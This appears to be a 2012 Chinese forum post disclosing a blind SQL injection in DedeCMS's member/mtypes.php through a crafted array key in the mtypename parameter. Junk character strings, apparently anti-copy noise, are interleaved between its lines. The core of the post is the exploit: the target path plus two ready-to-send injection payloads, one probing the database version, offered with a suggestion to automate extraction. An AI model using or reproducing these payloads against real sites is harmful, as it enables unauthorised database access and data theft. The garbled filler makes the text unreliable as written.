需要magic_quotes_gpc = Off,所以说是鸡肋啊.
7 u v: h: l4 p: {& R) Q T! V6 l M* A }- P5 U u1 M
3 z1 s: [" j. Q# h发生在数组key里的注射漏洞,有点意思.
9 F0 b. ]$ h- l3 N 9 ]2 [1 S& m1 }' u. D& A
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
0 o" F8 X* l2 ] s ! F8 `5 n! ?: J: O5 c& w
http://www.xxx.com /dede/member/mtypes.php?dopost=save
6 M# Z! E' y, E, [3 q* h3 o % A$ x9 n* ]1 J1 z
exploit:
' S7 J2 r5 [# Z0 I& N3 H% Gmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
5 B1 E0 G0 f2 w# z! kmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
5 y h p$ j/ t R9 l; b- S |
发表于 2012-12-20 08:08:09
收藏
支持
反对